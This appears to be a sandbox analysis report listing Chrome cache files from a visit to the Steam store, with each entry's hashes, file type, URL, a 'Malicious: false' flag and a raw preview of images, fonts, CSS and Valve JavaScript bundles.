Preview:	.PNG........IHDR..............'.....pHYs.................sRGB.........gAMA......a....cIDATx..}...-.q...A....>.i;.......{..B`..........H...[...6....23z.;......lTOqI..\|&.....%.j=..FrP...L.^."....)G].d...3...Y...4.....@ ..=.r+.[....z.-..\...."..2...p..Q..S..y...<Ty!.'......u.\..\..D]`.-....b../..Xs(y.z...L.(C...yyji.!.j....s.u.........J....X..2O.&..}R.......s.{...0.G...?..;.#.D6.Tv.L:=..!.2......'.2.m.63..........-...z.:).......lhrm4..I.._5...,{i...t.......Qn.3I..@ ..<.F.?...K...Y.c.2/.....X<i.K.n.,.:+.....u4....Io..h.*.U.+DVt.k.?e_.......$..w.P..^..G'...K.Cxm..v.._qo....!A.i...~.-..T.?.pR..m0.d0......#."_D\|.i+.&f0P'.RY.4\.d...H..s...p.Sz.....N...SRt....!7.'.Y..2.;2.+.d>.......OB..yn.....aG+.F.T_.A....D.A.m3.Y........XN.ls&..i.++.M.I_.Ieh....;.".\h..R.f..]...%.i$xyM.....A.....>..o.j4.L.@F..ay...e9..\|..i...N...s.......6..G.4.6..8...u.../.....~..........3.....g..F.~.D<..M..@..p.]y.....e$.....H.V...ns....#.K...v..yz3...;..."..4.(c...{.

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	32206
Entropy (8bit):	5.191231668796557
Encrypted:	false
SSDEEP:	768:VcABiBrZ2gychEnap1JzTWJ+kEdEEnSCWC7oBIYiyhaH3JsolgmWHozt:KycgC7oi/WHEt
MD5:	8BA2E9AC08C25E585A5942E38C54F655
SHA1:	3626196692F8099CC0784765F6930D9C7AF6C080
SHA-256:	ED8467B978FD2AE98744D6F200657EEC56FD2D9DB21084B2DB36897327B8239B
SHA-512:	A15CBE10227E4D2BE6A083AE68F68F63ABCE6F4F84985EECFEE0DF68D70F25470B0CB86B1CAB29CA8C11220B791863F6D8DC8718DBB3E97DD0385DC089D190F4
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/styles_about.css?v=i6LprAjCXlha&l=english
Preview:	../* CSS Document /..../fix global header z-index with video issue /..#global_header {...position: relative;...z-index: 9;..}......body.v6 #footer_spacer {...height: 210px;..}....body.v6.chinaabout #footer_spacer {...height: 265px;..}....body .responsive_page_template_content, body.v6 .responsive_page_template_content {.....font-family: "Motiva Sans", Sans-serif;....font-weight: 500; / medium /.......background: #1D2024;...color: #fff;..}..html.responsive.touch .responsive_page_template_content {...padding-bottom: 0 !important;..}....img {...max-width: 100%;..}....body.v6 .responsive_page_template_content h2, body.v6 .responsive_page_template_content h1 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: bold; / bold */.......font-size: 8vw;...line-height: 1.2;...text-transform: none;...letter-spacing: normal;...margin-bottom: 2vw;..}..@media only screen and (min-width: 768px) {...body.v6 .responsive_page_template_content h2, body.v6 .responsive_page_template_content h1

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2175818
Entropy (8bit):	5.562473572476677
Encrypted:	false
SSDEEP:	12288:FoNNy6NEjLDgfHxyvXoW1hsMpta8vlrgAdW718HmDLuNg/dt7muR0Pq:FANyvDg0hsMHaSrg6WxLuNCdtKuR0Pq
MD5:	694562C2AD40E74A8B87C3120B08A1FA
SHA1:	27F264BD235654B8AF75E8F9D40C5EADBF2E3DEA
SHA-256:	792F51AA46A8493DC87FD2956E7B1F3D70D8B242197CE80A9086795B4C6A7992
SHA-512:	4EF828B3870C2E9B40594E2179205D84C2DBC1B405C5D543BE0DFBA323588DED4832D690609D16070633496D3FC5741F77D6A8E6E64C80EED76213814A67D741
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8792],{53955:(e,t,r)=>{var i={"./shoppingcart_brazilian.json":[46865,4977],"./shoppingcart_bulgarian.json":[62810,9050],"./shoppingcart_czech.json":[16052,6771],"./shoppingcart_danish.json":[83976,4630],"./shoppingcart_dutch.json":[85333,8709],"./shoppingcart_english.json":[95811,311],"./shoppingcart_finnish.json":[81676,2964],"./shoppingcart_french.json":[11481,3679],"./shoppingcart_german.json":[91187,2753],"./shoppingcart_greek.json":[89155,5579],"./shoppingcart_hungarian.json":[74150,9326],"./shoppingcart_indonesian.json":[39761,9935],"./shoppingcart_italian.json":[82411,2095],"./shoppingcart_japanese.json":[38374,1192],"./shoppingcart_koreana.json":[59552,2184],"./shoppingcart_latam.json":[32464,6592],"./shoppingcart_norwegian.json":[93987,3167],"./shoppingcart

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	700
Entropy (8bit):	6.912261889131172
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9U9lJ93Yu8GxqTXWn+ygiIlqYm3c8VDfTIiGO2OU2Q+GT/lDhWpi:Ac1spMUp93YDGAXWn+IIbmPfMiGO7U2M
MD5:	FAC0B2E3A3EEF22CC8B5D10F740AAA15
SHA1:	2BF712CEAD5B5000EA7C9DF5E7539B01571F4BD8
SHA-256:	525D86CE4631D5494BE8D2174C96241CBC1B7AE03A7093E56019807CB9FEE36A
SHA-512:	EBAD530320AC3CC0329689C6A6615F11AE9CDC28E83E18A44432B95C0EB0220B1D409173BA1A17D1FE9039ED719E5F44E1E431831769F70233BF2A10C265AC37
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/2429640/2f68e286764ecc7774825d4f122d557259e0089d.jpg
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . ..".....................................'..........................!1A..2Qa.."...................................................!1."q............?....p...3B.s9G.MY......o....p2O....T.6....#Z ...[.......0w.5zA+........c_..s.iO.z..g..i1.+4e=...;..q..~......$q...k4y..Q..X'1.5...... .8..=...."<....k.....X.=....Gd.o.6.;G.....L.}....:..5.V..<...%\.*hk....+.@.b@;.....)..R%.N.]....~7..<~_!..6%.u.&W;..0..k\|6..t..uU.....K.C~.....%.......sm<.\|...O.0.t.j.:Vp.....C.O....r.dn5.,..(v....>....;6o.7l.a.^.gn...[>u...Z.<.Cc!.w?..

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=690, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=2038], baseline, precision 8, 1600x690, components 3
Category:	dropped
Size (bytes):	50887
Entropy (8bit):	6.852179144698946
Encrypted:	false
SSDEEP:	1536:lqA5Kl4nn9bogS73BTeo7xk884jtUUit4cs114:44nn9bRSzBeU84uL4w
MD5:	9B4B2EBBB01BE5C4CFE1FCBDD9DA0EF0
SHA1:	8D17A27B2268930B4EC86C56F9CD0C73CE18FF7C
SHA-256:	AEACBF69F083C220DA60B8994C08CF8CD1505A62A0DF5A7C0A9AA4F258BAB1E7
SHA-512:	0A15B6E53C85E193BAA7618AB0FF50AFE764E613B9D02EADA43DA6BA23EFB7A845E2A39561F935EC5247D4FBCADAD1390BE91AD10EF913E502BA68879CED53D2
Malicious:	false
Reputation:	low
Preview:	......Exif..II.......................................................................................................(...........1...........2...........i........... ..............'.......'..Adobe Photoshop CS6 (Windows).2014:08:01 14:57:41.............0221....................@...........................................n...........v...(...................~...................H.......H.............Adobe_CM......Adobe.d.................................................................................................................................................E...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?...#5...N.)Z.....ad.I'-RI.$..I2t..R.!H$.mS.!H$.A:d.R.Az+.^.R...+6*.(.......#5..

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 63628, version 0.0
Category:	downloaded
Size (bytes):	63628
Entropy (8bit):	7.993563067370757
Encrypted:	true
SSDEEP:	1536:uacKl4quxZGi4XBHTXzU+9kZq7F1Tkd4wC5IryvbDz:rBl4qqGiO1TXYBI1YdCIryPz
MD5:	E704D909203F0E6A4AC8624C1E1B6536
SHA1:	061607C6A57E63580FC7A46658763FF36CDD926D
SHA-256:	54B3BF2E12E41641DEE7690B6E0ECCF778D341713CB957AFF9012F41D923CBE2
SHA-512:	C92AA2AC2CA0C75EBC5EDD5008579692C120F05B33BBBCE2F7F835B9CECDDC3F1064647AA0543B93E17770422D4105227B32D0300D37B92E5A66610EC9FC8036
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff
Preview:	wOFF........................................FFTM............g..GDEF...........8....GPOS..........)6.s(aGSUB............6..OS/2.......P...`z..<cmap............{.z.cvt .......).....M..fpgm...,.......b....gasp................glyf................head...H...1...6...Ihhea...\|... ...$.:..hmtx..............loca...$...$...$G..-maxp...H... ... ...Zname...h...Z...S.(.<post.......2......+prep.............h...........=.......UH......s..x.....@@....5..)),.#....@-&.x}...9rj..bF..P....x...tV......%..&.x...n@..:.....Pw[.....Rc2..4...z..iJ..y.^.OH....0.{..w..G.}v...9....7..)d..............Q8G.X..\B'.8....9S.s.R.=../..K.~._..l..J..%....{.,H....#....tFE.SB)e.S...f.C..pFP.H...h.0.#9..9.c.+.c:.q1.p).q9Wp%Wq53..k...........;.....{x.U.a....3<...'...../.....y......m..}...O.N3-.`'.i5,..E-.-..,.2-.r....<;....Y..Y....v...E.....L..hU.=.N.j......v.....lk...c....`g.P4T JBW...Z..&\.*...>5\|^$]{...5..ow.;..[..G-.N.h..Q...P.>V..T.F...=u..G..E...~.2=.......WK.4;..A....im..sc02.2......

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	972384
Entropy (8bit):	5.832227573654786
Encrypted:	false
SSDEEP:	12288:ScMUDNR7fkrf13Y1AXUSkloAXp4IAoRnOSd0k8JFW5qsx:rJKfCGUSkloPzoRnOSZyFW5qsx
MD5:	4F4506F667B9E46FB591B41A4D34E26D
SHA1:	9807327119E84CD8EC7E953E6B2B995775895160
SHA-256:	676BEBD7F2729D5C605505B335F730375AC74880D3903C80393736B263DC0265
SHA-512:	4083E6AAA180EEB0B9F393F072159766B266C8DB8C298F104FD16BF10E2FEB10FD612BA0BEF7B7CD3BB1E8D5C6C0AA20529973683816399D60F582342D357156
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=T0UG9me55G-1&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8997],{41735:(e,t,r)=>{e.exports=r(38681)},61238:(e,t,r)=>{"use strict";var n=r(51362),o=r(65072),i=r(74438),a=r(63724),s=r(47429),l=r(83862),u=r(24508),d=r(38466),c=r(35407),g=r(99461),p=r(97962);e.exports=function(e){return new Promise((function(t,r){var h,f=e.data,_=e.headers,m=e.responseType;function y(){e.cancelToken&&e.cancelToken.unsubscribe(h),e.signal&&e.signal.removeEventListener("abort",h)}n.isFormData(f)&&n.isStandardBrowserEnv()&&delete _["Content-Type"];var b=new XMLHttpRequest;if(e.auth){var v=e.auth.username\|\|"",M=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";_.Authorization="Basic "+btoa(v+":"+M)}var S=s(e.baseURL,e.url);function L(){if(b){var n="getAllResponseHeaders"in b?l(b.getAllResponseHeaders()):null,i={data:m&&"text"!==m&&"

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2612), with CRLF line terminators
Category:	dropped
Size (bytes):	154404
Entropy (8bit):	5.337881533074874
Encrypted:	false
SSDEEP:	1536:D1l9Ah60MhmjGFh61e5lnl9bsPdVcTzWMnyN3qxVqGoteFANNfsflM6kQuOEmTMu:n0861e5/9b6dVcm9qVqZfrUEoIm
MD5:	444106254D61C24625741613608F5DA0
SHA1:	2D5B79109AB130C586F006EFF9B3132030E8EA83
SHA-256:	34E7C6C8A8962B8921E20C19BC00A204CACC2BC248D4A0663880EA7FFD03FD67
SHA-512:	96A6A6C6948DE8C819B552FCFA06F9BA13D8102C219E6E4C93D5913B6910AC13C78B1E3641A280377B7915A9BEF9A120C3EFE7B527885ADFF24BFFCFB0272CF7
Malicious:	false
Reputation:	low
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64904), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	171820
Entropy (8bit):	5.091615070300934
Encrypted:	false
SSDEEP:	1536:Ns4PKffp9FVf2HBeZTjxI1slCWW9sEbsgsfRc117tUCqU3A8yWiSgzgPMNSrf:Ns4PKfx/VhTjHlCNOEArfKrxRJS+D
MD5:	4D9ECC70DDE56858A3451017CD7FD8D9
SHA1:	88189CFF695C454384884888EA46D9C11060C811
SHA-256:	E10ACC2425B736F904CA0EC762A77B516CE7CEA7391354841199E55750EEE287
SHA-512:	DCCDF161353E3FBD904B63F646EBF616E9EB977D23933575A307336AED6BB044902E11DC5990AA217F7B8CC16E190A968FC9077FE74F335C195C72DE46C6F60C
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/sales_english-json.js?contenthash=3e3b65fabec655df899a
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6103],{78598:e=>{e.exports=JSON.parse('{"language":"english","Summer2022_hunt_Intro":"Greetings from the Future!","Summer2022_hunt_Intro_1":"I am Clorthax, a time-traveling trickster! I know what you.re thinking: \\"A professional trickster? This sounds like a trick!\\" That is a reasonable concern! But what I am about to tell you is not a trick, and to prove it, I will type it in all caps: THIS IS NOT A TRICK.","Summer2022_hunt_Intro_2":"Okay, it.s a trick. But only on the people of the future! You.re going to love this. Why? Because I have stolen the ten best games from the far future, then traveled across an ocean of time to sell them to you! Exclusively on Steam!","Summer2022_hunt_Intro_3":"Anyway, I can.t outright tell you the names of thes

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12659), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	12824
Entropy (8bit):	5.556602496534854
Encrypted:	false
SSDEEP:	192:+Ol7JG2AOVDFDlDFuDIbqkzdNqYAwuOVVTxHYr7p/vbZzhGyUf/oa4X8LZrBrt:+s9G2A4X3bqouOzxHYfp/vbZzhGIglp
MD5:	B91F2C20108DBCD846F874CB4A4BCB43
SHA1:	3E138968F2169404D0098C92AC4C402E8FABD3F6
SHA-256:	033DCFC29F556D3630EDA2BE01D960D23E798A208EC56BB8E171C3D206624EE7
SHA-512:	31E631538B82EB0438BA5CC67F1BDD14F71C78F661BE8CF8563C724220A93D183903254C511F425C0F4EDBF4AFE956A717F687B439DD4A7ABD7EB89E7DA7713B
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/legacy_web/main.js?v=uR8sIBCNvNhG
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9224605";(()=>{"use strict";var e,t,n={661:(e,t,n)=>{n.d(t,{pR:()=>r,Vz:()=>i,nh:()=>l});var a,r,i,o=n(729);class s{m_ActiveInputId;m_ActiveInputTimeout;m_config;constructor(e){this.m_config=e}Reset(){this.m_ActiveInputId=void 0,null!=this.m_ActiveInputTimeout&&(clearInterval(this.m_ActiveInputTimeout),this.m_ActiveInputTimeout=void 0)}HandleInputButtonDown(e,t){if(this.m_ActiveInputId!==e&&null!=t){this.Reset(),this.m_ActiveInputId=e;const n=()=>{this.m_ActiveInputTimeout=window.setInterval((()=>{t()}),this.m_config.repeatInterval_ms)};null==this.m_config.firstRepeatInterval_ms\|\|this.m_config.firstRepeatInterval_ms===this.m_config.repeatInterval_ms?n():this.m_ActiveInputTimeout=window.setTimeout((()=>{t(),n()}),this.m_config.firstRepeatInterval_ms)}}}!function(e){e[e.None=0]="None",e[e.Horizontal=1]="Horizonta

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3737
Entropy (8bit):	7.906671945599965
Encrypted:	false
SSDEEP:	96:OSDZ/I09Da01l+gmkyTt6Hk8nTqviwYZP2H51:OSDS0tKg9E05Tqviw6451
MD5:	1626F52ADDB7C56FE3679D82108C62E9
SHA1:	2B414092D66ECFF528950093A655F755C3C7F3B5
SHA-256:	AE9F6C61E25D15882BF57BDE193D10D375BD315C9741CABDA11D700FD1BB7DD1
SHA-512:	05548831477CC421556C404F3411F581E98A84FF2E699882CB4F5DCA17D1C5F77B55ED2B8211EEC32D0A4317BE1C4EBC636277F840262491B753415F6F198276
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`.........H!Y.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (659), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	824
Entropy (8bit):	5.4873953810406135
Encrypted:	false
SSDEEP:	24:+Tuj0z//T19TOf4rBQibMGPo5cr6cOSGVXpBRCT:+Tuj0//T1JRlbVo52Om
MD5:	B03962A3336EE12137F1A50057F3CBF8
SHA1:	2A7DD13865E71A815773E8E226E4283CDE95FF97
SHA-256:	0424392B16410979DEFF96C0350AE3A03C60D477BD1E758021DCCD3C68F24880
SHA-512:	3A52E02EB598F05A0DEC0748D3FB5FA99D19B62EA9281E886191966A4A9AB6F03650A690102E1F55C80D13CE56B1EEBB2C68EC4E532C24BC7A684349E1D5120B
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6966],{67692:e=>{e.exports={LoginContainer:"_2kLRmRsLwjGDlm-ZfUpChG"}},8685:(e,t,r)=>{"use strict";r.r(t),r.d(t,{default:()=>c});var n=r(67692),a=r(90626),o=r(97436),l=r(78327),s=r(28240),i=r(23809);function c(e){const{redirectUrl:t=l.TS.STORE_BASE_URL}=e,r=(0,i.rW)(),[c,u]=(0,a.useState)(!1),m=e.guest;return a.createElement("div",{className:n.LoginContainer},c?a.createElement(o.Fn,null):a.createElement(o.YN,{autoFocus:!0,transport:r,platform:2,onComplete:e=>{e==s.wI.k_PrimaryDomainFail?u(!0):window.location.assign(t)},redirectUrl:t},m&&a.createElement(o.Mk,{redirectURL:e.redirectUrl})))}}}]);

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! 